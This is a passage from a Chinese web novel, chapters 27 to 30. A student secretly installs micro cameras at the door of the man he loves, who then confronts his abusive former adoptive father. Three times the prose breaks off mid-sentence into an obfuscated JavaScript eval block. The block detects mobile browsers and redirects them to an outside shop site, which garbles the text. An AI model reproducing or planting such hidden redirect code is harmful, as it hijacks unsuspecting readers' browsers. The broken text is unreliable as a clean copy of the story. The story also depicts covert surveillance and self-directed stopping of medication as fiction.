要是知道了,他早就把炮火对准那所谓的弟弟了。他倒要看看这人是不是真的在乎于南,否则怎么舍得跟于南吵架,说不准他还要拎着小铁锹上去给那弟弟上一顿思想教育课,让他以后自觉多照顾关心于南,至少,别让于南往后一个人过活了。 于南说:“没吵架。” 迟雾问:“那是打架了?谁打谁?” 他撸了下袖子,像是只要于南吐出“他打我”三个字,他就立马冲出去满大街捞捕这个胆子比天还大的小兔崽子。 于南却说:“是他抛弃我了。” 迟雾动作一顿。 抛弃? 这个字眼实在太过残忍,迟雾想象不到究竟是什么样的情形才能被于南这么个人直白地定性为“抛弃”。 迟雾吞咽了下口水,他再傻也知道触碰到了于南的痛处,便低头翻出手机,打算接着结账,嘴上也开始拉偏话题:“这俩三明治哪个口味比较好吃啊。” 于南却没被他干扰,兀自说着:“他特别狠心,直接把我一个人扔在了孤儿院里,就那么走了,一句话都没给我留。” 迟雾却被这句话压得愣住。 什么意思? 那个所谓的弟弟不是和他一起被领养的那个男孩儿?另有其人? 看着迟雾木讷的表情,于南笑了下,转而说:“两个口味都不错,我吃着都差不多,购买它们的顾客数量也差不多。” 迟雾简直想给自己一耳屎。 他转移话题都转移的像一坨一样,转眼间就又戳到了个痛点。 迟雾干脆闷闷地应了声,笨拙地安慰道:“是他没眼光,于南,只要是个脑子正常的都不会选择不要你的,你就当他是傻子就好了,他离开你之后肯定过得不快乐。” 于南只摇摇头,说:“他过得很好。” 迟雾小声说:“于南,我会让你过得比谁都好。” 这句像是小心翼翼的许诺,不容打破,却也是一剂麻药,扎在于南心头上,泛着挥之不散的麻痒。 27. 第 27 章 迟母打来了通电话,迟雾直接佯作没看到,没接通也没挂断,直接把手机扔在副驾驶的位置上任它兀自响着。 迟雾踩下油门直接自己开车去了学校,方才于南的一番话说得他心不住往下沉着,他现在甚至希望能砸到他头上一本专门记录于南这一辈子的书,供他翻看查阅,对照出来那个抛弃于南的王八蛋到底是谁。 要是让他抓着了,他保准要把那人抽筋剥皮,塞进公共厕所里让他臭成大狗屎! 迟雾一整天都没精打采的,体育课他更是干脆站得远远的,别人打网球,他则在那儿孤零零地思考人生。 苏贺年瞧见他一个人,便要伸手把他抓进局,“迟雾,干什么呢,才一天就学习学傻了?过来一起玩啊。” 迟雾却后退了步,直接避开他的手,无甚兴趣地摆摆手,说道:“你们玩吧,让我静静。” “想静静了啊。”苏贺年开玩笑道:“你不应该是想南南吗?对了,你俩进展咋样,这两天你俩约会没,你去他家了没有?我都给你写好计划了,到时候你别忘了提前告诉我,我给你送去我专门做的爱心便当,你就当是你做的,他保准觉得你特心灵手巧。” 迟雾皮笑肉不笑道:“南南也是你叫的?” 苏贺年直嘀咕:“什么都不让叫,非让我有鼻子有眼地叫人家全名是吧。” 苏贺年到底还是让步了,“那个于南,你俩进展到哪儿了,那天问我要恋爱宝典,你用上没有?” “没有。”迟雾说:“哪来的机会。” 苏贺年当即拍手道:“机会还用愁?最近哪天拉出来一起出去打牌,或者出去跑跑车,他坐你副驾驶,保准速度和激情都能有。” 他把胳膊搭到迟雾的肩头,朝着场中央温琳的方向扬扬下巴,说道:“温琳昨天就靠这手又夺得了个妹子的芳心,他倒好,一反常态,没领人那颗心。” 闻言,迟雾想起来个事儿,问:“他昨天不是拎着温程安一起走的吗,那事儿怎么解决的?” 苏贺年自然听见风声,也知道详细过程,说不准他当时还在场,当即便说道:“温程安怎么说也是顶着温家名头,温琳睁一只眼闭只眼的,但是也不可能让人当着自己面把这麻烦给掀起来,所以就给他送回温家了,让他在里头憋一阵,说是让他反省,之后那几个人好像都被温琳打点了番,具体是什么我就没问了。” “送回温家?”迟雾问:“他之前没住在温家?” “嗯。”苏贺年抬手挡了挡头顶烈阳,嘟囔道:“不是说今天下雪吗,怎么还晒成这鬼样。”又接着说:“温程安之前都住在外面,是认回去了,但就在温家住了一阵子,就自己提出要出来住,回了以前住的地方。” “他住在哪儿。”迟雾倏地问。 苏贺年错愕地瞥他眼,“你还关心这事儿了?” 苏贺年回想了下,才缓慢道:“好像就住在学校附近,往北的位置。”说着,他也想起来个事儿,笑了下,“真巧啊,城北算不算是块儿宝地啊,你的于南之前住在那儿,温程安之前也住在那儿,也是故事线撞一块儿了。” 迟雾却怔住。 他本以为温程安是住在于南家那一片,那样他就能将昨晚的跟踪归结为过度巧合的顺路,但事实上,一切指向都说明这只是单纯的跟踪。 今天温程安没来,应当就是在温家拘着。 迟雾便问:“他什么时候回学校?” 苏贺年瞥他眼,“一周之后吧?不确定,你要是想知道,直接去问温琳不就好了,这事儿我不关心就没过问。” 温琳从场上退下来,一手抓着网球拍,朝着两人的方向走过来。 “温琳。”苏贺年刚巧扬手把他叫过来。 温琳不紧不慢地走过来,许是被头顶的太阳晃得受不了,他稍微皱着眉头,“你俩怎么不上场。” 苏贺年指指迟雾,说:“我给他解疑呢。” “你还会数学题?”显然温琳会错了意,当即扭头朝着身后的场地喊了声:“顾宁一,你的学生有困难了。” 顾宁一朝着这边冷淡地看了眼,迟雾朝他摆了摆手,示意不用,他便再次收回视线,专心接着对面打过来的球。 苏贺年直截了当地敲了温琳一下,“数学个屁,我是恋爱达人,给他解决情感问题。” 温琳懒洋洋地瞥他眼,一针见血道:“也没见你什么时候谈上了。” 温琳又扭头看迟雾,问:“问题解决了吗,需不需要更高级一点儿的温老师来辅佐一波?” 迟雾干脆问他:“温程安什么时候来学校。” “干什么?”温琳接过身旁人递过来的水,拧开喝了口,问:“你想跟他发展感情?别变太快吧。” 迟雾觉得温琳这人脑袋里出了乱七八糟的水泥就没别的了,语塞两秒,才说:“我找他有事儿。” “什么事儿?”温琳一副要刨根问底的架势。 迟雾简洁道:“他跟踪我。” 他不想扯出于南,说不准这事儿闹开了就要把于南的名头一并闹到更多人的耳朵里,他不想于南是因为这种事才被别人听闻的,干脆将事件中央的于南摘出来,自己替补上去。 听此。 苏贺年“嚯”了一声,又抬手拍拍温琳的肩头,说:“他是不是打算贿赂迟雾,让迟雾给他当背景支撑啊,还是准备陷害迟雾?” “他陷害迟雾干什么?”温琳觉得他那话无厘头,不打算和他接着对招,转而问迟雾:“昨天晚上?” “嗯。”迟雾应。 温琳点了下头,又问:“自己解决?” 迟雾又“嗯”了一声。 温琳便知道这事儿不让他掺合,直接撂下句:“他一会儿就过来。” 在温家,温琳可以完全决定温程安相关的事宜,不管温父怎么看,家里的人都知道这俩孩子里应该选择哪个,且温琳也有绝对的手段控制温程安。 温程安不过是个误打误撞闯进温家的鸟,温琳想捉一只鸟还是绰绰有余的。 下课的时候,温程安就已经坐在班级里了。 迟雾从前门进了班级,温程安却自始至终都低着头看桌子上的教材,没抬头看他一眼。 上完体育课的同学都陆续回了班级,桌椅碰撞声此起彼伏。 迟雾回了座位上,安静地观察着温程安。 而温琳和苏贺年二人不知道跑到哪去鬼混,没了影子,像是真对这一遭没有任何兴趣。 温程安身上换了套校服,洁净的布料贴合在身上,也衬得整个人愈发直挺。 迟雾试图从他身上看出点儿什么端倪。 但他就好像彻底定在座位上,没有任何多余的动作,连桌子被打闹的人狠狠撞击了下他也只是平静地将桌子摆正,然后接着看书。 迟雾开始搜刮上辈子关于这个人的讯息。 倏地。 他好像想起毕业后的聚餐,场子热得不行,大家基本都灌了不少酒,空气里的酒精味浓到能腌出个无菌场所,而温程安滴酒未沾,一直坐在角落处,那时的他和温琳之间关系算是破冰,有温琳给他撑腰,不少人都开始跟他闲聊打闹,他不主动去搭讪,但谁过来说上一句他都能应上两句。那一天也是温程安出国前一天,从那天后他就再也没回过国。 而那天晚上,迟雾也喝得醉得不成样子,思绪几乎成了断掉的线,很难连续到一块儿去,但他还记得他出去吹风醒酒的时候,温程安递给了他一张纸,还说了句莫名其妙的话—— “你真像小土。” 小土是谁? 他迟钝的大脑没法控制口齿,这话也无法问出。他眼睁睁看着温程安那冷漠又莫名显得怜悯的表情。 如今记忆如同刻意被弯刀割下来贴在日日翻阅的日记本上,清晰地一点点勾勒出往昔。 迟雾觉得随着头脑陷入回忆中去,脑袋也逐渐昏沉成团无法旋转的浆糊,木棍插进去都搅和不开混沌。 他刚准备起身去叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199142|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温程安,就踉跄了下又跌回座位上。他的心跳速度也在迅速加快,仿佛随时要爆炸般,而提问也迅速升腾,迟雾的手掌更是烫得发红。 下一刻。 迟雾就失去了意识。 再醒来的时候,鼻息间充斥着消毒水的味道,这是让人几乎要呕吐的一种味道,是曾经折磨了迟雾一整年的味道。 迟雾连连咳嗽了两声,逐渐转醒。 他睁开眼,便看见苏贺年正守在他床头。 苏贺年见他醒来,才松了口气,说:“你吓死我们了,校医说你是突然断了某种药,所以才导致身体机制自动调节,引发了昏迷状态,你那药还没停?” 苏贺年也知道迟雾一直在吃药的事儿,看他吃了几个年头,时不时还要感叹两句,迟雾这健康的体魄还真看不出来是药罐子,刻板印象要抹消了。 迟雾觉得嘴巴里格外苦涩,还十分得干,他撑着床坐起来,缓和了会儿眩晕感,才拿起放在一旁的温水抿了口,“我昏了多久?” 苏贺年看了眼时间,“十分钟吧,刚把你放床上你就醒了,早知道接着放你在地上躺一会儿了,说不准谁踩你一脚直接就醒了。” 迟雾说:“那我醒来之后一定把那一脚还你。” 见他恢复如常,苏贺年嘿嘿笑了两声。 听见这头的动静,校医走过来,问:“你最近吃的是什么药?” 迟雾摇头说:“不知道,家里医生配的。” 校医蹙眉,又问:“你这是断了几顿?” 迟雾算了算,“三顿,昨天中午、晚上,外加今天早上。” 校医眉头拧得更紧,“是家里的医生让你停的?” “没。”迟雾说:“吃完之后太困,脑袋晕得厉害,我就自己停了。” 校医打量了下迟雾的脸色,一时没了别的法子,一切从简道:“不要再擅自停药了,要按时吃,停药也应该遵医嘱来停。” “知道了。” 回班级后迟雾就把药盒翻出来,把早上分量的给吃了,药片被冷水顺着下肚,十分钟后迟雾就觉得脑袋又开始发懵,听老师讲的东西也很难集中注意力,怪不得他以前总是感觉上课没意思,注意力往别的地方跑。 原来是大脑逼迫着他挪动注意点。 迟雾觉得中午那补习怕是要完。 断了两顿没什么反应,三顿就晕了。 迟雾记下。 以后一天吃一顿。 先试试水,要是没再突然晕过去,就接着断三顿。 他完全不打算同李医生商量,显然李医生肯定会让他三顿按时按量。 迟雾紧着牙关盯习题册看了会儿,实在接受无能,只能像夹着尾巴的狗一样灰溜溜地挪开视线,叹了口气,干脆接着去观察温程安。 却始料未及的,他和温程安对上了视线。 迟雾这个位置除非刻意看过来,否则绝对不可能和他对上视线,也就是说,温程安刚才就在盯着他? 迟雾回看着,温程安却只同他对视了两秒便要挪开眼,迟雾连忙翕动嘴唇,无声吐出两个字。 “小、土。” 温程安彻底静止在那儿,他的眸中也掺杂了些迟雾看不懂的情绪。 迟雾接着说道:“下、课、来、找、我。” 温程安重新看向黑板,并未给出回应。 迟雾一时拿不准他答应了没有,但还是打算一会儿下课就去找温程安,至少让他搞懂他为什么跟着于南。 两人从前都住在同一片区域,难不成是过去结仇? 于南绝对不是先招惹人的脾性,就算有龃龉,也绝对是温程安先动的手。 迟雾肯定自己一番,如果温程安欺负过于南,一定要给他点儿颜色瞧瞧。 思绪刚落。 旁边扔过来个纸条,来自苏贺年。 迟雾打开纸条。 上面一行极丑的字。 【脸皱得像包子,你又要晕了?】 28. 第 28 章 迟雾一转弯,走进走廊尽头的自习室,而后利落一转身,双手插着兜,身子要直不直地靠着墙,他的视线静静地落在门口的位置,听着走廊里穿过吵闹喧嚣的那一道极其轻稳的脚步声。 脚步声由远及近,温程安的身影挤进门内,他看着迟雾,没说话。 迟雾直入主题:“你昨晚在哪儿?” 温程安不言不语,兀自盯着他。 迟雾用指节不重不轻地敲了下墙面,沉闷的响声持续回荡,格外冗长,如同一道即时的沙漏,当沙子彻底跌空时,不作回应的人也要被判处罪行,但显然,温程安这人要平静自在得多,丝毫不受影响。 迟雾也不开口催促,就那么等待着。 良久。 温程安终于开口道:“我为什么要告诉你?” 迟雾早就料到他可能是这个反应,也没多意外,干脆抛出另一句话:“孤儿院里的生活不大好受,有人陪才不孤单。” 这句话落,温程安紧绷的表情才舒展些,他极其缓慢地用目光观察着迟雾的表情、姿态,却发现迟雾是以一种极其松散的状态说出这句话的,而非装模作样的设套。 温程安说:“所以呢?” 迟雾耸耸肩,就此将话断在这儿,没了下文。 他只能猜测“小土”是孤儿院里陪着温程安的玩伴,却也只能猜测到这儿了,再多说,估摸这就要露出马脚,还不如这样当个哑巴,让温程安先慌神。 但出乎意料的,温程安却直接问:“你什么也不知道对吧?” 见迟雾无甚反应,温程安如同早就料到般笑了下,他笑的时候肌肉拉扯着嘴角弧度,那种笑很僵硬,还很干苦,甚至有些像哭起来,实在不是很好看。 温程安笃定道:“你想问于南的事吧。” 迟雾当即抿紧嘴唇。 温程安却淡淡道:“我不会告诉你的。” 迟雾没忍住上前几步,冷着表情觑着他,说:“过去你和于南之间有交集,以后未必会有,不要跟踪于南,不许跟踪于南。” 温程安的升高与迟雾差不多,两人对视时,一双眸里是浅淡的嘲讽,一双眸中则是不容忽视的冷意。 温程安又说了那句话:“你真像小土啊。” 至于小土究竟是谁,他却没打算解释,直接转身出了自习室,在他关上门那刻,迟雾再次冷声道:“温程安,无论你是拿的什么主意,别让我发现你对他做什么坏事儿,温家把你领回去也不过是做一个靶子,你什么也得不到。” 温程安轻瞥了他一眼,眼神淡漠。 许是因为吃了药,迟雾的脑袋实在提不起来精神,本来的补习也因为他几乎要睡去的困乏疲态而被顾宁一提前叫停。 顾宁一去了另一个学生家里补课,而迟雾则开着车兜转着来到于南家。 他没提前同于南交代,而是直接按着之前的记忆,摸到了地下室里,然后准确地找到于南家的门,站在门口将周遭彻底打量了个遍,还把提前准备好的红光灯从兜里掏出晃了一圈,确认于南家门口没什么监控或者追踪标记才松了口气,但下一刻他又瞬间绷紧身体,像小偷似得四处打量了番,见没人出门,才故作镇定地从兜里掏出来一把精小的微型监控,而后从里面挑出两枚,一左一右地按着说明书安装到门前死角。 弄完后,他看着手里剩下的大把微型监控,又瞧了瞧毫无动静的门,做贼心虚地轻咳了声,把耳朵贴到门上听了听,没听见什么声响,他又接着从手里挑出两个微型监控,找了另外两个足以俯视门前全况的角落把它们安上去。 这么循反往复这几个动作,没一会儿,他手掌心就空空如也,微型监控都被他给安装到了周围。 迟雾摸了摸鼻子,又早有准备地掏出放大镜,左右瞧了瞧,尤其仔细探查安微型监控的位置,见看不出什么特明显的端倪才松了口气。 本来想只安两个来确保没人跟踪于南到家门口,但安着安着,好像就停不住手了。 要是能在于南家里也安几个就好了。 迟雾颇为惋惜地想。 “咔嚓。” 门把手从内转动的声音响起,迟雾顿时慌了神,左顾右盼地寻找着藏匿的位置,最终走投无路,直接抓起放垃圾的纸盒子扔到一旁,自己跳进了那片充满恶臭的角落,而后干脆利落地用有生以来最快的速度把纸盒子重新抓回来遮挡住自己。 门被打开。 于南手上牵着九月三往外走。 九月三在出来后却未像往常一般径直往楼梯口走,而是在门口那片小空间内哼唧着转圈迂回徘徊,鼻子也不听抽动着嗅来嗅去。 迟雾听见那格外明显的嗅气声,几乎觉得自己要完了,在心里提前骂了九月三几句“坏狗”,便僵直着胳膊,努力摒弃那令人作呕的恶臭,维持着纸盒遮身子的动作,心里还不停祈祷—— 九月三啊,别找我,别找我。 于南再看见我真就要认定我是变态了。 求求九月三大人。 九月三你这次放过我,我晚上肯定把梦里那条小土狗给你拉郎配,让它的魂儿跑过来陪你玩。 不知是否是祈愿生效。 九月三只是在墙上安着微型监控的位置拱了拱鼻子,又用爪子扒拉了两下。但不凑巧的是,又有那么两个安得不大牢靠的微型监控被它用爪子给挠了下来,摔落到地上。 迟雾在纸盒缝隙中看见这一幕,心如死灰地阖了阖眼,自我安慰道,总好过于南直接发现我吧,就当牺牲它们来给于南提个醒了,说不准以后于南就能注意躲避那些跟踪他的人了。 于南弯下腰,从地上捡起米粟大小的微型监控,捏着查看一番。 他背对着迟雾,迟雾也便没看见他脸上那颇具讽刺意味的表情。 于南又轻而易举地将墙上其他的微型监控也拆下来,毫不留情地扔在地上,脚踩上去碾了碾。 通通踩碎。 而后迟雾就听见于南说了声。 “我不去找你,你先来找我了?” 迟雾的呼吸骤然停止,连贴在衣服上的充满恶臭的垃圾都被他忽视掉。 于南发现他了? 迟雾决定装死。 让于南来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199143|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找他吧。 找到他之后,他再装傻卖楞。 迟雾想了想。 这次就用这个理由—— 扔垃圾迷路了,闻着垃圾味儿找到了这个堆垃圾的地方! 对,就这个了! 迟雾只希望于南别拿自己当二傻子。 于南挪动了下脚,身子缓慢转动。 就在迟雾决定坦然接受死亡时。 于南倏地攥紧狗链,而后彻底一松。 九月三接收到指令,霎时朝着某个方向冲过去。 “汪!” 九月三的爪子直掏某个角落处,利牙露出来朝着那个方向狠狠一咬—— “啊!!” 一声凄厉的惨叫响起。 一个男人连滚带爬地躲避着九月三的撕咬,手上还捂着被撕烂的裤子,分明只有衣服被利牙勾扯到,他却哭天喊地、眼泪横流,仿佛被狗给咬断了条腿、咬折了条胳膊。 他手掌撑着布满脏污的地面,不断往后爬,却在第一刻,手掌无法再抬起,而是被一双脚毫不留情地踩住。 于南冷冰冰地睥睨着他。 男人颤颤巍巍地抬起头,正对上那寒冰般的视线,陡然开始牙齿打颤,齿关撞击的声音都带着悚然。 他身上穿着还算得体,那布料看起来颇为昂贵,不过这男人面貌极其猥琐,胡茬满脸,嘴唇上还布着层要掉不掉的死皮,他张了张嘴,似是想要解释或求饶,但刚发出个微小的气音,就被九月三狂叫着吼了一声,他又颤抖起来。 迟雾不自觉地也哆嗦了下。 还有别人跟踪于南? 他和于南之间有什么纠葛? 迟雾又想起迟母口中的绑架事件。 这是不是他为于南招来的祸害? 九月三将男人压在地上,于南摸了摸没戴助听器的耳朵,看着男人,问道:“你又想死?” 又? 这男人之前也跟踪过于南? 迟雾迅速捕捉到这层潜在信息。 男人的脸侧压在地面上,他哆嗦着嘴唇说:“我、我听说你出狱了,来探望你一下。” 于南垂眸觑着,他虽然听不见,但从小到大都是个聋子,小时候甚至都没有助听器,那时候就只能像个变态一样盯着别人的嘴,眼睛都不能眨一下,就这样,他看唇语的能力也迅猛提升,尤其是在监狱那三年,甚至不用戴助听器就能听出来每个人对着他吐出来的是什么样的字眼。 “胳膊也不想要了?”于南用脚踢了下男人的胳膊,那动作带着抹忽视不掉的羞辱意味,也让他被赋予了层阴沉,这与迟雾所熟悉的于南完全不同,几乎是南辕北辙。 迟雾眼睛眨也不眨地盯着于南的一举一动,眼睛被垃圾熏得泛红了一片,滚下来滴生理泪水,他都顾不及去擦,只任由它往下流淌。 男人哆嗦着说:“要、要。” 于南说:“之前捞到的钱都花光了?” 于南恶劣一笑,说:“多亏你,我才有机会进去见识世面,否则我都不知道,原来我对你做的回击居然这么不值一提。” 29. 第 29 章 房门被狠砸上。 迟雾才像回魂般眨了下眼。 他缓慢地转动眸子,视线一毫毫地移动到方才那男人压趴着的位置,地上还有滩不明的水渍扩散到四面八方,成了蛛网的形状。 而方才于南脚踩男人腕骨时碾出的那道脆响仿佛还在耳旁,一遍又一遍卡带式得回响。 原来于南还能这么凶狠吗。 迟雾迟钝地放下纸盒,但手臂刚落下去毫厘,便又听见声门把手的拧动。 随着房门被拉开,还能隐隐听见被拖进去的那个老男人低低的呜咽声,还夹杂着两声九月三的叫声。每次那呜咽声高昂地像要发起反抗时,九月三就开始威慑性地低吼。 而于南则完全把这当成了无关紧要的背景乐,他眉目平和,手里拿着把拖布,出来将地上那滩水给擦得干干净净,而后,那根拖布就被扔在垃圾堆旁,拖布杆还好死不死地砸在了迟雾的脚边。 迟雾竭力忍着闪躲的动作,直到门再次被关上,他才松了口气。 他又开始回想于南一道道干脆利落的动作。 那男人半路突起去偷袭,却被于南毫不费力地踩在脚底下。 于南实在是…….. “太他妈的帅了。”迟雾喃喃道。 他彻底忍耐不住,将纸盒子扔到地上,自己试图模仿于南的干脆利落,却被倾斜着的拖布杆绊得踉跄了下,险些直接脸着地得狠摔在那儿,幸亏他眼疾手快,才避免了悲剧的发生。 迟雾站到方才于南站着的位置,刻意沉下脸,站姿也模仿到位,想象着以后自己和于南站在一起的时候,再有人来偷袭于南,他一定先把那人狠狠踩在脚下,而且他才不会像于南一样踩脑袋就踩那么几秒钟,他要一直踩着,让那人知道什么该惹,什么人该躲。 但无奈,他到底那股眩晕劲儿还没过,做动作的时候连腿脚都伸不开,实在学不出来那凌厉劲儿。 于南怎么这么多优点啊。 本来以为于南跟他一样是个病秧子,原来他二十一岁的时候这么潇洒自在,真好啊。 迟雾随意地往墙上一靠,想,于南以后会不会也用这套招式来把他给压到地上啊。 思此,他撇撇嘴。 到时候一定要记得侧着脸,右脸朝上,让于南看比较好看的那边脸。 迟雾掏出手机,对着反光的黑屏照了照自己的脸,又伸手在脸颊上戳戳。 好像右脸比左脸胖点儿呢? 是不是应该减肥了。 迟雾蹙眉打开搜索软件,一本正经地像在解决什么世纪难题,认真谨慎地敲字。 [怎么能只瘦一半的脸。] 答——给两边的脸定规矩,吃饭的时候只许瘦的那边吸收营养,胖的那边饿着。 迟雾眉头紧锁着。 半晌,他才反应过来。 他来这儿是有正事儿的啊! “回去再定规矩吧。”迟雾嘟囔着把手机揣起来,而后蹑手蹑脚地靠到于南家门口,把耳朵贴上去,还特聪明得弓着腰,这样要是于南从里面突然把门推开,他的高度就只到于南腰那儿,说不准于南眼花一点儿就直接把他当障碍物给避过去了,也不会发现他在偷听了。 要是自欺欺人是水,那迟雾的含水量足以支撑他徒步横穿撒哈拉。 门内。 男人被绳索桎梏着,绳子尾端被紧紧系在桌腿上,他一动弹,桌子就跟着往前挪动,桌腿蹭动地板的声音像是无数个爪子在轻轻地抓挠毛玻璃,无意的人可能不会注意,但心中有鬼的人却被这一声声惊得头皮都紧绷着。 于南一步步极缓地靠近,他已然脱掉外套,只穿着件整洁板正的工作服,裸露的双臂交叠在胸前,他的视线成了把钝刀子不断比量着男人,却迟迟不下手,男人被他看得心惊肉跳。 直到于南一字一顿地叫他名字:“张民杨。” 男人连忙说:“监、监控不是我安的,我真的只是准备来看望你,但是你出来的太凑巧,我一时没准备,条件反射地就多起来了。” 于南只淡淡说:“我知道。” 微型监控上沾着抹香味,很难察觉的淡香,但于南却格外敏感,因为那是—— 迟雾身上出现过的味道。 而且门口的垃圾堆从来都是将纸盒子压在最下头的,因为地下室里潮湿阴冷,不少鼠虫都在其中藏匿,没人会轻易把它们来回逃窜的通道给挪了,大家都万分嫌恶,却没人有那好心去先动手改变。更何况这层地下室里住着的只有于南是往这个拐的,他旁边那两间都是被人买来养东西的,有不吉利的迷信物件,还有用来卖钱的虫蛇。 因为这儿以前建的是疯人院,加之风水不大好,还特凑巧,搬进来的住户基本没几天就遇见大悲的苦果,一番宣传,自然没什么人愿意住,除非穷途末路。 而于南却是百无禁忌,他什么苦果都吃过了,他没什么能悲的了,要说有,就是迟雾,可是他住进来后迟雾还主动闯进来了,闯进他尚且逼仄的世界里,闯到他面前来。 于南很清楚,说不准现在迟雾还在外面。 他听见房门传来轻飘飘的晃动声。 这屋子很老了,防盗门都是很多年前安置的,始终都关合不严,门缝也被磨成道稍窄的罅隙,门在锁着的情况也能稍微前后晃动,深夜时还总往房子里走冷风,门也被吹刮得来回撞击着乱响。 但这次,门只晃动了一声。 门被压贴过来,却没反弹回去。 于南扫了房门处一眼,莫名笑了声。 他不笑还好,他这一笑,张民杨就开始抖。 而张民杨这一抖,九月三就开始冲他凶叫。 门外的迟雾听见狗叫声,条件反射地紧皱着眉头。 九月三怎么叫的这么凶? 于南不会被欺负了吧? 迟雾的心不上不下地悬着,一只手也将落不落地抬起来,随时准备敲门。 这时候他又开始后悔准备的不充分,早知道再买点儿撬锁的工具好了,万一于南被欺负了,哪还能及时给他开门?他不就只能站在外面干着急吗。 迟雾的嘴唇紧绷成条将断的弦。 三秒后九月三的叫声要是再不停,他就先敲门,然后再踹门,踹不开的话就报警。 跟踪加暴力殴打,再加上入室偷盗,够判刑了。再找人找关系,应该能多判几年。 迟雾这边一阵头脑风暴,而于南则轻巧地拍了下九月三的脑袋。 九月三立马闭嘴停了叫声。 于南声音不高不低,足以张民杨听清,也确保门外的迟雾听不见一个字,他说:“不管谁让你来的,别再出现在我面前。” 于南蹲下身,伸出手指像逗狗一样在张民杨眼前晃了晃,轻声道:“张民杨,再像条狗一样做那些恶心事儿,出现那些恶心的想法,你放心,我绝对不会让你好过。” 他用那根手指在张民杨额头中央点了点,就像枪毙前定位似的,每点一下都莫名让人神经一紧。 “为什么只折了一条腿你心里没点儿数吗?” 张民杨十恶不赦、卑劣龌龊。他领养于南的时候,他三十九,于南十六。那时候他是个缺了一条腿的跛子,至于为什么领养于南,也不过是因为领养孩子有每个月五百块钱的补贴,他原本想领养个女孩,因为女孩儿吃的少,容易养活,但他在孤儿院里看见了于南。 孤儿院里的所有孩子都是颇会看人眼色的主,从小到大都是仰人鼻息活着的苟延残喘的小老鼠,如果连这点儿本事都没有就真的什么都没有了,那时候所有人都避着张民杨,他的意图实在是太明显了,他遮掩着,却又那样拙劣,让人一眼便能识破,跟这种人走只有两种下场—— 被抛弃,或被吞掉。 前一种是再次变成夹着尾巴的老鼠,后一种是彻底被磨灭了想活下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那也是张民杨第一次见到于南发怒,曾经他做过多少过分的事儿,厕所再脏再臭都要让于南刷干净,因为里头的苍蝇没捉干净,于南就被锁在里面睡了一晚;张民杨打牌输了钱还时常冲着于南撒气,小到破口大骂污言秽语,大到动手打人;还有就是摄像头,他从来不用微型监控,因为贵,他明晃晃地偷拍着欺压折磨于南的过程,那时候他就觉得,于南是个狗都咬不烂的包子,他分明把一切脾气都乖乖受着,好像个风一吹就碎了的瓷碗,却又始终莫名得让人害怕。 哪有人摔碗还怕碗的呢。 后来张民杨就知道为什么了。 因为于南从来都不是瓷碗,他是一把被放钝了的刀子。 玻璃瓶里的钱少了。 于南最开始没什么动静。 张民杨也没想到他能有什么动静。 他就那么继续逍遥自在,理所应当地毫不顾虑。 但当天晚上,他就发现自己没法儿翻身,一睁眼,于南就站在他床边,手里拿着那把上绣了的菜刀,一手在他颈边徘徊,他脸上什么表情都没有,仿佛一切不过是无意识的梦游。张民杨也被这一幕吓破了胆。 后来,那把刀被砸到了墙上,碎成了刀片。 但张民杨确是实打实地怕了。 他断了一根手指头,是他被吓了后恼羞成怒抬手去扇于南的时候被抓住的,他第一次发现于南的力气那么大,像覆满冷霜的铁钳子,让人边疼边打颤。 那天晚上于南跟他说。 “我找到他了,那是我攒着租房子的钱,张民杨,没钱就见不着他,我要是这辈子都见不着他,我就不想活了,我肯定让你先死。” 他那声音轻飘飘的,声调也无甚起伏,像是破旧的小收音机兀自播放着对既定事实的诵读。 那时候于南脸上的表情和现在差不多。 所以张民杨才这么怕。 他往后死靠着桌腿。 三年时间嗜酒对大脑的麻痹几乎冲刷掉他对于南的大部分记忆,所以他才敢冒然前来,可如今仅仅一个照面。 一切记忆都汹涌着将他吞没。 他后悔鬼迷心窍。 30. 第 30 章 潮湿的地下室,煞白的人脸,恍惚着明暗的灯光,一切堆积在一起都将张民杨推进恐惧的深渊里。 于南的手指滑到系在他肩膀处的麻绳上,轻飘飘地说:“陪我演场戏吧?演好了我就放你走。” 说到戏,张民杨牙关也跟着颤了下。他实在算不上好演员,这辈子都是粗劣地活着,可于南不是,于南的戏码常常让他分不清现实和虚幻,一如他曾经真以为于南是个孤苦伶仃被人抛弃的孤儿,从孤儿院院长那儿他被告知于南过去的凄惨。 生父好赌,对家里不管不顾,最后逼走了于南他妈,一个人带着于南像个吸血虫一样,用他那幼小的躯壳将他逼压成乞儿模样上街乞讨,最后更甚至为了戏更逼真些,给于南故意用了药。 是他从别人那儿听来的土方子,吃下去就成了不省人事的植物人,全身皮肤还会重度腐烂,丑陋无比,这又这样一眼就能看出来的惨,才能在匆匆而过的人潮中抓住每个人的眼球,让他们升起那么丁点儿只值三五块钱的怜悯心。 但于南命大。 那药掺水里他只喝了一口,最后还自行催吐,发了几天高烧,只聋了耳朵。 后来于南生父躲债死在了街头,于南在被孤儿院带回去。 但人躲了一辈子债,怎么就偏偏这时候湿鞋踩进了河里边呢。 